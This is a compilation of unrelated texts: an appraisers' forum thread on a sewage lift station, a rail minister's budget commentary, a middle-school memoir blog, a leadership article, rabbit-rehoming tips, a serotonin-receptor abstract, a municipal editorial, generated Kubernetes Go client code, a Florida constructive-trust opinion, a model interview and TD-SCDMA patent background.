BTW, one possible way to come up with an adjustment is to look at the prior sale of the subject and pair it with another sale from the same time period. Like the old appraiser said, 'Base it on something. It doesn't have to be something good. It just has to be something.'
Does it serve only the one house? If so, the chance of an overflow is very small. Most of the overflows of pump stations on municipal system are related to storm water infiltration during power outages.
Each home in the development has its own grinder pump - basically emaciates raw sewage into a more liquid form then pumps it to one of the two main pumping stations. The station in question is one of these main stations.
There are 477 homes in the development, plus the golf course. So, this pumping station services approximately half properties in the development and has a multitude of bodily artifacts passing through it at any given moment.
From what I gather, the chance of overflow is minimal. But. In this day and time, even minimal odds must be carefully considered, since it seems the question is no longer "if?" but "when?"
Does it serve only the one house? If so, the chance of an overflow is very small. Most of the overflows of pump stations on municipal system are related to storm water infiltration during power outages.
Almost all sewer systems in municipal locations have some pump stations as it is not possible to use gravity in all cases. You might want to call the local municipality and/or any private companies that handle these systems, get the locations of their other stations and do some research on historic sales in close proximity.
Each home in the development has its own grinder pump - basically emaciates raw sewage into a more liquid form then pumps it to one of the two main pumping stations. The station in question is one of these main stations.
There are 477 homes in the development, plus the golf course. So, this pumping station services approximately half properties in the development and has a multitude of bodily artifacts passing through it at any given moment.
From what I gather, the chance of overflow is minimal. But. In this day and time, even minimal odds must be carefully considered, since it seems the question is no longer "if?" but "when?"
Click to expand...
All true, however consider that
If the pump fails, not just the nearby property owners but everyone in the development will experience sewage backup.
There are so many lift stations in this area that they are not an issue. Most of them however, are totally below ground with only a flat concrete pad about 10 x 20 and 2 or three access slightly panels above grade. The one in the photo is pretty unsightly, however I do see a filter for the vent so the odors should be minimal, if any.
These stations are all built with backup pumps so if the primary goes out, the second will kick in. Besides, if all of the neighbors utilize grinder pumps, if the power goes out nothing will be flowing to the lift station so the chance of overflow is extremely small.
In addition, they are all equipped with radio transmitters to signal a problem to the main office and when the red trouble light starts flashing there's usually a repair truck there in about 30 minutes.
It could probably be blocked completely from view with $2500 in landscaping and from what I've encountered, out of sight is out of mind. Also what I've encountered is that what one person considers an adverse external influence is not a big issue to many others. You might find that its not so much the value that's affected as the number of potential buyers.
Gold Supporting Member
4
Jan 16, 2002
Professional Status:
Certified Residential Appraiser
State:
Tennessee
You know this thing has already failed once. If it fails again, and turds float around the house, and anyone there ever gets sick with anything that might not even have anything to do with the turd tide, you're going to have a target on your back from Mr. Turd Lawyer.
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I hate to say this but Mamatajis budget appears to me to be inspired by a complex kind of jealousy towards what I achieved in my years as rail minister.
A lot of what she has claimed as new is a duplication of what I had already done, a lot of it is an unrealistic effort to over-reach herself in order to prove that she can better me. I do not know why but I get a strong sense that she wants to show she is smarter. All the best to her, may she rise much taller than me.
The Indian Railways is very close to my heart and I wish the railway and the new rail minister all success in their efforts. But plans should bear some relation to reality — how are you going to run a train non-stop between Delhi and Chennai or even Delhi and Calcutta? Is it even technically possible? Besides, whats the need for bypassing all those who fall on the way?
I may be wrong but I also do not understand the wisdom of starting these double-decker trains between cities either. There are bridges, overhead wires, often tunnels; Mamataji should have told us where these double-deckers are going to run and how. It is fine to make fanciful announcements, quite another thing to implement them.
I can understand she was short on time, but that is no excuse for announcing measures that have not been properly thought out. She has talked airily about making world class stations — she has pointedly left Patna out, but that is another matter — but what are these stations all about? There is no clarity. There is much bluster in this budget, very little basis.
Personally, I think I have a right to feel hurt because Bihar has been largely ignored, trains are going to pass through big cities like Patna now on their way to Calcutta without even stopping. Patna people will stand and do Ok, Tata, thats all. Bengal has got a lot, but then all rail ministers do something special for their constituency and state and that is understandable, no quarrels with that.
But a lot of her announcements had already been made by me earlier. Several new trains announced today are a straight lift from my list, the Patna-Ranchi Janshakti and the Patna-Jhajha Express for instance. Aircraft-like vacuum pressure toilets for trains is something I have talked about and begun implementing. The western and eastern rail corridors are something we had initiated and work is already in progress on some sections. Its almost a naughty thought but it could well be true that in their rush officers have just handed her plans that were already underway in my time, a lot of what she read out today was my work.
She appears to have said a few unkind things about unrealistic financial targets set by me. I would only respond by pointing out my balance sheets — a record cash surplus of Rs 91,577 crore. That is unprecedented. People in Harvard and Wharton and IIMs are no fools to have made the railways under me the subject of such interest and appreciation.
What we did attracted world-wide notice in addition to producing huge profits for a concern that experts like Rakesh Mohan had almost condemned as bankrupt and terminally ill. We achieved a big and quick turnaround and that has now become a tough act to follow.
I wish Mamataji well in her efforts because the Indian Railways is critical to the people of this country but I do not see any remarkable thing in this budget.
Many people are telling me that I should be worried about the white paper Mamataji has talked about, especially because she has mentioned the last five years, when I was railway minister. I am being told that she is going to review my decisions, how they were taken, why they were taken. Sure, if she wants to.
But why should I be worried? Have I committed any fraud? Is pulling the railway out of deep mess an act of fraud? Is securing profits an act of fraud? Is setting the railway on the road to expansion and modernisation an act of fraud? Why the need for this white paper on my years as railway minister? All our records are transparent. All accounts have been scrutinised by the CAG, they are before Parliament and various committees of government. I have nothing to hide, I have a lot to be proud of.
But to be frank, and fair, I do not even know what Mamataji is thinking, whats on her mind, and I do not want to impute motives without having any real basis. For all you know, it could be that she has referred to the last five years because she wants to make that the template or the role model for drafting her vision for the railway by 2020. Why must I assume it is a move aimed at me? Mamataji may well have a huge compliment to me on her mind. That will be well deserved. |
Lion of the week
I had a very strange childhood. In some ways it was very happy, and in others, quite dysfunctional. I’m sure most everyone has a similar story, only the details are different, so I won’t bore you with many specifics. I will say that my time in middle school was one of the worst times in my entire life.
First of all, I was weird looking. I was short and super skinny with braces AND glasses AND big, kinky hair that I unsuccessfully straightened into a large bush, daily, for reasons that I cannot now remember. Yes, I was a sight. Middle school is not kind to the weird looking kids. Second, we were pretty poor, so I had very few clothes and I wore my entire wardrobe weekly (much to the delight of the popular girls who, once they noticed it, kept commenting on it–“There are the pink pants again! Must be Wednesday!”
…Mean girls suck.
Third, I had a HUGE chip on my shoulder and I was unafraid of confrontations (I got in a lot of fights), Fourth, I was a smart but lazy student who only paid attention if I was interested in the class or the subject or if I liked the teacher. I didn’t care what grades I got as long as I passed. An overachiever, I am not. Fourth, I was shy in my classes. I might fight after school or in the halls, but I never spoke in class. Never made trouble for the teachers. This means that I was largely ignored by my teachers. And last, I had a very…scary home life at this time in my life and there wasn’t a lot that was good going on there.
Luckily, I did have my own band of close, dorky girlfriends.
…Dorky girlfriends rock!
There was something called the Lion of the week at our school. Every week, the teachers would nominate a student from sixth, seventh and eighth grade to be the Lion of the week. It was a huge honor–mostly because you got to leave school and go to the local Roy Rogers for lunch. I think you got some sort of award with it too. I don’t know for sure because I never got picked as Lion of the week. However, ALL of my friends were chosen multiple times over our three years in middle school. Everyone I knew made it at least once. And I am talking EVERYONE else. The mean girls. The brains. Even the trouble makers (if they had a good–for them–week, they were chosen to validate their behavior). But me, being the shy, quiet, troubled kid who was forgotten and ignored by her teachers and never made trouble– I never got to be it. And I wanted it. BADLY. Every week when they called the names of the winners on the announcements I would pray to be chosen. And every week I was not. I had to pretend to be happy for my friends as they were chosen and re-chosen, week after week. They kindly never mentioned the fact that I was never chosen.
Looking back, it’s not that big a deal. So I missed out on a Roy Rogers lunch with the principal. So what? But at the time, it really hurt.
Middle school was a time when I often felt like I meant nothing to nobody. That I really had no worth at all. Boyfriends? Please. I was weird looking and …volatile. Other girls were wearing bras and going through puberty and I went through these changes late. I still looked like a fifth grader among teenagers.
In eighth grade English, everyday my teacher Mrs. Farrow would make us write in our journals for 10 minutes at the start of class. So I just wrote and wrote about my family and my life and my friends and my feelings. Honestly, I totally forgot anyone was going to be reading or grading our journals. And then came the end of the first grading period, and our teacher collected them to grade. I never gave it a second thought, just handed it in.
When I got it back it had a big “A ” on it (which were rare enough in my house. I never did homework, never studied, hardly worked at all). Inside, the teacher had written, “I love reading about your days. Keep it up. You’re the best writer in the class!”
I could not believe it. The best writer in the class? Nobody had ever told me I was the best at anything before. I had never given writing a second thought up until that point. I knew that both reading and writing came easily to me in a way that math did not, but it had never occurred to me that this might be something to be glad about.
That comment meant SO much to me. It really made my day. Mrs. Farrow’s hastily scribbled comment validated me at a time when I really needed it. At a time when few others were teachers (or anybody, really) were taking the time to get to know such a troubled girl.
I think about Mrs. Farrow every now and again, and I’d love to be able to tell her how much that comment meant to me.
Meta
7 comments
I had a couple of English teachers write similar things about me – & you’re right, it’s so uplifting. That seems like a corny word – but I totally felt lifted out of the ordinary. Great feeling. So I majored in accounting in college. Go figure LOL.
Its sad you never got to be the Lion of the Week, but you probably turned out a whole lot better than a lot of your classmates. I never had to endure Jr High—-we went from 8th grade to high school. I am sure I would have hated it. I had braces and glasses, and I guess nerdy. I came out fine also.
I’m right there w/ ya, for the most part. Like you said, there are differences in the details but the core of the subject is the same. I was a dorky gal too. I had several English techers who caught on to me though. They gave me that boost and recogintion. Thanks for sharing your story…and as far as it goes, You’re this weeks Lion for sure!
As I recall, you won a contest and your drawing got to be on the cover of the middle school yearbook. That was SO cool to me. And I used to want to have glasses and braces like my big sis. So you were my lion of the week, when you weren’t being mean to me…
In college, when I was the “oh my gosh that girl is pregnant” girl, my English professor told me that I was a damn good writer, and that I should change my major to English. So I did. I did it so I wouldn’t have to take statistics (as a psyche major), but because of that professor, who believed in me.
In 5th grade, one of my classemates died of cancer. She was a really sweet kid amongst an unusually high percentage of assholes. She’s buried a few graves away from my dad. Her name was Kelly and she was a cool person. It’s odd what one remembers after over 30 years…
Thank you for sharing this story. I think most of us can recall one person who helped to shape us in a positive way. And I hope we can all strive to be the kind of person who is helping other young people to find their way through positivity! You never know when one comment can be “the one”! |
This Is the Worst Way to Motivate Your Employees
The Leadership Insider network is an online community where the most thoughtful and influential people in business contribute answers to timely questions about careers and leadership. Today’s answer to the question: How do you keep your team motivated? is written by Chris Fussell, chief growth officer of McChrystal Group.
“Ship, shipmate, self.” I’ve always found this refrain from the Navy to be powerful. I spent my military career on the SEAL Teams; and while our community was a small part of the Navy, I’ve always had great respect for the ethos of the larger Navy that is embodied in this type of thinking. On any high-performing team I’ve been a part of, putting mission first, and team before self, was always key to collective success. The worst behaviors in organizations, in my experience, are those that get this approach backwards. When the collective mentality of any organization is self and self-preservation first, it’s a sure sign of pending doom.
In any bureaucracy, there’s a natural tendency to let the system become an excuse for inaction. But in today’s complex world, breaking through traditional barriers and creating a culture of cross-functional collaboration is absolutely critical. As we learned first hand in the Special Operations community, today’s world moves with levels of speed that traditional organizational structures are simply incapable of countering. Cross-silo collaboration is no longer a nice to have — it’s a necessity for survival.
Silos and bureaucracy are well oiled machines in corporate America, but they are ultimately perpetuated by individual behavior. If we start behaving differently, we can create change. In other words, shifting your focus onto the team — or the ship as a whole, not just your self, will have meaningful impact. But be sure to avoid these three behaviors that can be toxic to any high-performing team:
Perpetuating a siloed-mentalityWe’ve all heard the stories about, or perhaps worked in, a highly-siloed organization. While at first glance these seem to be examples of extreme efficiency, that efficiency comes with a cost. While stable and predictable, these organizations are also incapable of adapting at a pace that matches the world around them. Individuals must work to overcome this behavior. When working on a complex project, it’s important to create and leverage a cross-organizational network and reach out to other teams to get perspectives. Hoarding information or refusing to collaborate with other teams fails to put the ship first, but it’s an unfortunately common practice in many companies today.
Using bureaucracy as an excuseOne of the worst behaviors in today’s environment is hiding behind the “system,” or even worse, actively using bureaucratic processes for self-advantage. You’ve likely seen this – the time your leadership avoided a decision by forming a committee for further review; the instance your project was approved, pending sign-off from 12 other divisions, etc. Instead of driving the ball forward, many leaders are incentivized to lurk in the shadows of processes in order to avoid personal risk. Anyone who’s ever worked in any kind of large organization can testify that the bureaucracy is maddening — but we often forget to check if we are part of the problem ourselves.
Placing self above the shipPerhaps worst of all are those who place self above all else, those who don’t pitch in when a need arises, or refuse an assignment because they don’t see how it advances their career. The most effective leaders I’ve ever known have always been servant leaders, who knew the priorities of the organization, and would put those first and foremost in their prioritization of effort. I once had someone ask me…what’s the secret to getting through SEAL training? Of course, there is no one trick. But just like in any complex and challenging organization — the best thing you can do is to always be looking for a way that you can advance the mission, or help the teammate on your left of right. When you lose focus on those two elements, you’ll focus inward. Selfish behavior will take over, and you’ll lead from a point of ego, not from one of selfless contribution to the mission.
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What else can you do?
You can network with friends, family, co-workers, members in your social circle (such as your church) to see if anyone would be interested.
You can contact other no-kill shelters in your area.
You can foster the rabbit until it is re-homed by a rescue.
Things NOT to do:
Do NOT release the bunny in the wild. Domestic rabbits have no survival skills. They usually die from starvation, thirst, cars and predators. Frequently, they will die within hours of release.
Do NOT post on Craigslist. People looking for a cheap/free meal for their snakes will frequently check out Craigslist. Also people known to abuse and torture animals will look for easy targets as well.
Do NOT dump your bunny at our shelter, your neighbor’s front door, pet store, etc. This is illegal in most cities and you will be prosecuted. |
Ras-dependent ERK activation by the human G(s)-coupled serotonin receptors 5-HT4(b) and 5-HT7(a).
Receptor tyrosine kinases activate mitogen-activated protein (MAP) kinases through Ras, Raf-1, and MEK. Receptor tyrosine kinases can be transactivated by G protein-coupled receptors coupling to G(i) and G(q). The human G protein-coupled serotonin receptors 5-HT(4(b)) and 5-HT(7(a)) couple to G(s) and elevate intracellular cAMP. Certain G(s)-coupled receptors have been shown to activate MAP kinases through a protein kinase A- and Rap1-dependent pathway. We report the activation of the extracellular signal-regulated kinases (ERKs) 1 and 2 (p44 and p42 MAP kinase) through the human serotonin receptors 5-HT(4(b)) and 5-HT(7(a)) in COS-7 and human embryonic kidney HEK293 cells. In transfected HEK293 cells, 5-HT-induced activation of ERK1/2 is sensitive to H89, which indicates a role for protein kinase A. The observed activation of ERK1/2 does not require transactivation of epidermal growth factor receptors. Furthermore, 5-HT induced activation of both Ras and Rap1. Whereas the presence of Rap1GAP1 did not influence the 5-HT-mediated activation of ERK1/2, the activation of ERK1/2 was abolished in the presence of dominant negative Ras (RasN17). ERK1/2 activation was reduced in the presence of "dominant negative" Raf1 (RafS621A) and slightly reduced by dominant negative B-Raf, indicating the involvement of one or more Raf isoforms. These findings suggest that activation of ERK1/2 through the human G(s)-coupled serotonin receptors 5-HT(4(b)) and 5-HT(7(a)) in HEK293 cells is dependent on Ras, but independent of Rap1. |
It’s said that much of the time, politics matters relatively little, then suddenly it matters too much.
This fall’s municipal election is one of those times, an occasion when voters on the south Island will hire (or fire) 91 politicians to shape our future for the next four years. Less than three months remain until the fall election, and few candidates beyond incumbents have come forward.
article continues below
A renewed army of leaders who are skilled, hard-working and able to read a financial statement — and who aren’t ideologues, professional politicians, fringe or single-issue candidates — is critical to bring public-policy harmony and cost-saving shared services across the region. The timing couldn’t be better: After 16 years in the political wilderness, our local politicians have the opportunity to press our MLAs to help deal with chronic regional issues.
These are especially challenging times when you consider that a surging population is causing growing pains in housing, transportation and infrastructure, and is affecting our quality of life.
Our population is almost 400,000. The population of Greater Victoria increased by about 25,000 between the 2011 and 2016 census to 367,770.
The population is expected to continue to increase with newcomers, particularly from the Lower Mainland. The Capital Regional District estimates the population within its boundaries to be more than 392,000 now and 442,000 in 20 years.
Visitors to the region — we’re growing as a major tourist destination — have also increased dramatically to 3.5 million overnight visitors annually.
Our housing vacancy rate is near zero. The public is well aware that one downside to a boom is a housing crisis. At about one per cent, Greater Victoria has one of the lowest vacancy rates along with the most expensive housing in Canada.
Councils and planners are scrambling to deal with the increased demand and land-use conflicts. Developers are very busy. The real-estate resource citified.ca lists hundreds of new rentals, townhomes, houses, offices and commercial property developments. There are about 100 listings for condo projects alone, either proposed, approved or under construction.
Our transportation issues are top of mind. While dedicated bus lanes, new roads, a McKenzie interchange and timing traffic lights will help, it will take more than that to solve transportation problems. Unless the issue is met head-on, traffic jams, increased pollution, loss of productivity and increasingly frustrated residents will continue.
It’s been suggested that B.C. Transit be given the authority to deal with regional transportation. It’s an idea with merit. But efforts to form a much-needed regional transportation body within the CRD deservedly failed because of its inherent lack of decision-making power and inability to build consensus.
Our infrastructure renewal is not top of mind. Increased population is putting stress on infrastructure already desperately in need of renewal.
The trouble is that many local politicians are often content to kick the issue down the road. Sewer, water, roads, sidewalks and maintenance of all public facilities don’t usually lend themselves to press coverage. Oak Bay, for example, hiked its property tax by 5.57 per cent in 2018, largely to deal with a staggering infrastructure deficit estimated at $300 million.
Our stars are aligning. Never in the history of the south Island has a government such as the NDP/Green Party alliance ruled a region as it does today. It’s time taxpayers and renewed municipal councils demand the province do its part.
In our opinion, improving local governance in a region with 13 municipalities would be the best long-term way to help deal with population growth. It would result in better decision-making and ultimately help manage the growing tax burden for everyone.
To that end, it’s time the half-century-old underlying legislation for local governments — including the Capital Regional District — was dusted off and updated. There must also be a followup to the provincial Capital Integrated Services and Governance Initiative of 2017, which examined 16 service areas, from police to housing to transportation.
The report’s facts and figures support the belief that the current municipal governance and services model in the capital region is broken and in crisis. It unfortunately stopped at that and offered no solutions.
Our community is no longer a quaint British outpost, but rather a dynamic, mid-sized community in the midst of the greatest boom in a generation. Our community is under stress to remain the best place on Earth, and is coping during this sea change, but it desperately needs an infusion of new leaders.
Stan Bartlett is the chair of Grumpy Taxpayer$ of Greater Victoria, a non-profit, unaffiliated, non-partisan, citizen’s advocacy group dedicated to lower taxes, less waste and more accountable municipal government. |
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package versioned
import (
"fmt"
discovery "k8s.io/client-go/discovery"
rest "k8s.io/client-go/rest"
flowcontrol "k8s.io/client-go/util/flowcontrol"
examplev1 "k8s.io/code-generator/_examples/apiserver/clientset/versioned/typed/example/v1"
secondexamplev1 "k8s.io/code-generator/_examples/apiserver/clientset/versioned/typed/example2/v1"
thirdexamplev1 "k8s.io/code-generator/_examples/apiserver/clientset/versioned/typed/example3.io/v1"
)
type Interface interface {
Discovery() discovery.DiscoveryInterface
ExampleV1() examplev1.ExampleV1Interface
SecondExampleV1() secondexamplev1.SecondExampleV1Interface
ThirdExampleV1() thirdexamplev1.ThirdExampleV1Interface
}
// Clientset contains the clients for groups. Each group has exactly one
// version included in a Clientset.
type Clientset struct {
*discovery.DiscoveryClient
exampleV1 *examplev1.ExampleV1Client
secondExampleV1 *secondexamplev1.SecondExampleV1Client
thirdExampleV1 *thirdexamplev1.ThirdExampleV1Client
}
// ExampleV1 retrieves the ExampleV1Client
func (c *Clientset) ExampleV1() examplev1.ExampleV1Interface {
return c.exampleV1
}
// SecondExampleV1 retrieves the SecondExampleV1Client
func (c *Clientset) SecondExampleV1() secondexamplev1.SecondExampleV1Interface {
return c.secondExampleV1
}
// ThirdExampleV1 retrieves the ThirdExampleV1Client
func (c *Clientset) ThirdExampleV1() thirdexamplev1.ThirdExampleV1Interface {
return c.thirdExampleV1
}
// Discovery retrieves the DiscoveryClient
func (c *Clientset) Discovery() discovery.DiscoveryInterface {
if c == nil {
return nil
}
return c.DiscoveryClient
}
// NewForConfig creates a new Clientset for the given config.
// If config's RateLimiter is not set and QPS and Burst are acceptable,
// NewForConfig will generate a rate-limiter in configShallowCopy.
func NewForConfig(c *rest.Config) (*Clientset, error) {
configShallowCopy := *c
if configShallowCopy.RateLimiter == nil && configShallowCopy.QPS > 0 {
if configShallowCopy.Burst <= 0 {
return nil, fmt.Errorf("Burst is required to be greater than 0 when RateLimiter is not set and QPS is set to greater than 0")
}
configShallowCopy.RateLimiter = flowcontrol.NewTokenBucketRateLimiter(configShallowCopy.QPS, configShallowCopy.Burst)
}
var cs Clientset
var err error
cs.exampleV1, err = examplev1.NewForConfig(&configShallowCopy)
if err != nil {
return nil, err
}
cs.secondExampleV1, err = secondexamplev1.NewForConfig(&configShallowCopy)
if err != nil {
return nil, err
}
cs.thirdExampleV1, err = thirdexamplev1.NewForConfig(&configShallowCopy)
if err != nil {
return nil, err
}
cs.DiscoveryClient, err = discovery.NewDiscoveryClientForConfig(&configShallowCopy)
if err != nil {
return nil, err
}
return &cs, nil
}
// NewForConfigOrDie creates a new Clientset for the given config and
// panics if there is an error in the config.
func NewForConfigOrDie(c *rest.Config) *Clientset {
var cs Clientset
cs.exampleV1 = examplev1.NewForConfigOrDie(c)
cs.secondExampleV1 = secondexamplev1.NewForConfigOrDie(c)
cs.thirdExampleV1 = thirdexamplev1.NewForConfigOrDie(c)
cs.DiscoveryClient = discovery.NewDiscoveryClientForConfigOrDie(c)
return &cs
}
// New creates a new Clientset for the given RESTClient.
func New(c rest.Interface) *Clientset {
var cs Clientset
cs.exampleV1 = examplev1.New(c)
cs.secondExampleV1 = secondexamplev1.New(c)
cs.thirdExampleV1 = thirdexamplev1.New(c)
cs.DiscoveryClient = discovery.NewDiscoveryClient(c)
return &cs
}
|
390 So.2d 123 (1980)
PALMLAND VILLAS I CONDOMINIUM ASSOCIATION, INC., Appellant,
v.
Gordon A. TAYLOR et al., Econo Mobile Leasing, Inc., Etc., Appellees.
No. 79-1667.
District Court of Appeal of Florida, Fourth District.
November 12, 1980.
*124 Philip T. Crenshaw of Crenshaw & Crenshaw, P.A., Lake Worth, for appellant.
Kenneth H. Renick of Renick, Zwickel & Gross, Lake Worth, and Kenneth G. Spillias of Spillias & Mitchell, West Palm Beach, for appellee-Econo Mobile Leasing, Inc.
Charles B. Adams, West Palm Beach, for appellee-Nathaniel J. Orr.
Martha J. Cook, Tallahassee, for appellee-Department of Revenue, State of Florida.
HERSEY, Judge.
This is an appeal from an order determining that the liens of certain creditors' judgments and a state tax warrant attached to real property prior to the creation of a constructive trust involving that property.
The real property was conveyed to Palmland Development Corp. on February 24, 1976, to be used for recreational purposes and the conveyance was duly recorded.
Subsequently a tax lien and three judgment liens were recorded against the property.
Thereafter, on January 5, 1979, a final judgment was entered declaring the real property to be held in constructive trust by virtue of the documents recorded in 1976. Jurisdiction to determine whether the liens attached to the property was specifically reserved by the trial court. No appeal was taken from that judgment. Thereafter the trial court determined that the liens did attach to the property and this appeal was taken by appellant, Intervenor/Third Party Plaintiff, from that determination.
Appellant's position is that the liens could not have attached since the property was a trust asset from the time of the conveyance and that the debtor-obligor was thereafter simply a trustee without power to pledge trust assets to secure its corporate obligations.
The result in this case turns upon the answer to the question, when does a constructive trust come into existence. We determine that a constructive trust comes into existence on the date of the order or judgment of a court of competent jurisdiction declaring that a series of events has given rise to a constructive trust.
A constructive trust arises by operation of law, Staples v. Battisti, 191 So.2d 583 (Fla. 3d DCA 1966), as opposed to a *125 resulting trust which automatically arises out of certain circumstances. Grapes v. Mitchell, 159 So.2d 465 (Fla. 1963). Both are creations of equity. The former is created by law to do equity under the circumstances and without regard to intent. The latter is enforced by law to carry out the parties' real or presumed intent based upon the circumstances.
An action for the declaration of a constructive trust may be barred if the events giving rise to the necessity for the imposition of this equitable remedy transpired beyond the period permitted by the applicable statute of limitations, usually expressed in terms of laches. See Yawn v. Blackwell, 343 So.2d 906 (Fla. 3d DCA 1977). This leads inevitably to the conclusion that a constructive trust is not created by the facts themselves since no trust is found where the operable facts occur beyond the statutory period. The facts simply form the basis upon which a court may presently impose a trust if the statute of limitations has not barred this remedy. Wadlington v. Edwards, 92 So.2d 629 (Fla. 1957).
Therefore there was no trust in existence when the liens attached. Imposition of a constructive trust by the order of January 5, 1979, could have no effect on the validity or priority of those liens. The trial court correctly determined that they remained enforceable. It should be noted that a foreclosure sale will not divest the restriction to recreational purposes to which the property will remain subject notwithstanding any such sale.
We affirm the order from which this appeal was taken.
AFFIRMED.
LETTS, C.J., and BERANEK, J., concur.
|
Favorite designer, fragrance or beauty product: I love coconut oil. It’s so great for the skin, hair, and body. And it is 100% natural.
How do you balance acting and modeling? They balance well together. The location of either a photo shoot or movie is so important as it tells a “story” of how the image will be portrayed.
What’s something uncool that you love? Hmm, that’s a hard one to answer! LOL! At home, I really get into recycling. To most people its “out of sight out of mind”. I take throwing things away seriously though and have a few different recycling stations set up in my home.
What’s the best thing about your hometown/country? I grew up in the heart of the Midwest and have those Midwest values that have always stuck with my morals and who I am. I take a little part of me to anywhere I live.
Which brand(s) would you love to model? Dolce & Gabbana. I just love their colors and patterns. And, their ad campaigns are always cool.
Dream industry gig? One day to be behind the camera and create my own documentary.
Place(s) you would love to visit: I’ve traveled to many places, but one place I have not been that I’ve been eyeing is Scotland. The castles, scenery, greenery looks beyond beautiful.
Currently, you’re obsessed with/about: The eco-friendly decor and style of Tulum, Mexico. I’m so intrigued with taking something so simple from nature and turning into a gorgeous home decor piece.
Want the latest posts, offers, and exclusive content straight to your inbox? Subscribe to our newsletter and never miss out again. |
With the advancement in technology, mobile telecommunications have evolved from the Advanced Mobile Phone System (AMPS) in the 1980's to the second generation (2G) in the 1990's, including those based on the GSM standard, and on to the third generation (3G) in the present day. One of the 3G standards is TD-SCDMA, which uses time-division duplexing (TDD). By dynamically adjusting the number of time slots used for downlink and uplink, a TD-SCDMA mobile telecommunication network can more easily accommodate asymmetric traffic with different data rate requirements on downlink and uplink than a network based on frequency-division duplexing (FDD).
In various markets, mobile telecommunication networks based on 3G standards are being deployed in place of or in addition to existing 2G networks. As such, multimode operation is a critical success factor as well as necessity for 3G networks. Without the capability of multimode operation, mobile handset users may lose coverage when entering areas where a 3G network has yet to be deployed. In markets where networks based on the TD-SCDMA standard are deployed, multimode operation in mobile handsets allow users to enjoy high-speed data applications with 3G TD-SCDMA coverage while having the assurance of GSM cellular coverage in areas where 3G TD-SCDMA coverage is not yet available.
For TD-SCDMA single-mode operation, a mobile handset needs two frequency synthesizers in the radio, typically with one frequency synthesizer designated for the transmission and receiving of TD-SCDMA signals and the other designated for the reception of TD-SCDMA signals from neighbor cells. The frequency synthesizers are typically in the form of phase-locked loops (PLL). However, in order to provide TD-SCDMA/GSM multimode operation, the mobile handset needs an additional frequency synthesizer for GSM monitoring because no suitable monitoring gaps for GSM have been defined that will guarantee the detection of GSM neighbor cells in all possible TD-SCDMA configurations for data transmission and neighbor cell monitoring. As a result, existing multimode handsets require two independent receiver paths and three frequency synthesizers.
In general, there are four types of activities in TD-SCDMA/GSM multimode operation. Firstly, there are TD-SCDMA data receiving activities during those time slots used for receiving. According to the TD-SCDMA standard, the time slots TS0 and TS6 may only be used for receiving. Secondly, there are TD-SCDMA signal reception activities that take place during the time slot TS0, such as inter-frequency monitoring for example. Thirdly, there are TD-SCDMA transmission activities during those time slots used for transmission. According to the TD-SCDMA standard, the time slot TS1 may only be configured for transmission, and time slots TS2 TS3 TS4 TS5 may be configured for transmitting or receiving. Fourthly, there are GSM receiving or monitoring activities to receive signals from neighbor cells. GSM monitoring should not overlap in time with TD-SCDMA transmission time slots because TD-SCDMA transmission tends to de-sense signal reception for GSM monitoring.
FIG. 1 illustrates a timing diagram of TD-SCDMA/GSM multimode operation using three frequency synthesizers, under a worst-case scenario in which High-Speed Uplink Packet Access (HSUPA) protocol category 5/6 2.2 Mbps uplink is occurring under a conventional scheme. A first frequency, frequency 1, is used for TD-SCDMA transmission and receiving activities. A second frequency, frequency 2, is used for TD-SCDMA signal reception, such as, for example, inter-frequency monitoring for signals from neighbor cells. A third frequency, frequency 3, is used for GSM monitoring for signals from neighbor cells.
Here, in the worst-case scenario with respect to GSM monitoring, the TD-SCDMA time slots UpPTS and TS1 through TS5 are all used for transmission on frequency 1. Time slot TS6 is used for signal reception on frequency 1. Time slot TS0 is used for signal reception on frequency 2, such as for TD-SCDMA inter-frequency monitoring for signals from neighbor cells. Throughout the entire time, or continuously, GSM monitoring for signals from neighbor cells is performed on frequency 3. As shown in FIG. 1, in the conventional scheme, two frequency synthesizers, or two PLLs, are required for activities based on the TD-SCDMA standard. Without a third PLL, either GSM monitoring or TD-SCDMA signal reception cannot be carried out. The third PLL is therefore required for TD-SCDMA/GSM multimode operation.
Moreover, in order to avoid de-sensing signal reception in the GSM mode due to TD-SCDMA transmission, GSM receiving (i.e., monitoring) and TD-SCDMA transmission cannot overlap in time. However, this is particularly challenging since in some configurations most of the time in a TD-SCDMA subframe is used for TD-SCDMA transmission, which leaves very little time available for GSM monitoring.
An existing solution to the aforementioned issues utilizes two separate radios in a given mobile handset, one for TD-SCDMA and the other for GSM. Still, as the integration level is low, such solution tends to be expensive, and three frequency synthesizers are required. Even if the two radios are combined, three frequency synthesizers are still required. This makes the design of an integrated-circuit multimode radio more complicated, risky to layout, and expensive. In any case, the need to avoid overlap between GSM receiving and TD-SCDMA transmission remains a difficult issue.
Additionally, in some TD-SCDMA inter-frequency baton handover scenarios there may be adjacent receiving and transmission time slots, resulting in change from transmission in one frequency to receiving in another frequency in zero time. When frequency synthesizers are shared, an issue arises as there is no time to re-lock a shared frequency synthesizer. Moreover, during multimedia broadcast and multicast services (MBMS), there is zero time to move from receiving in one frequency in TD-SCDMA time slot TS6 to receiving in another frequency in TD-SCDMA time slot TS0. As two separate frequency synthesizers are needed for this TD-SCDMA operation, this is an issue when the frequency synthesizers are shared. |
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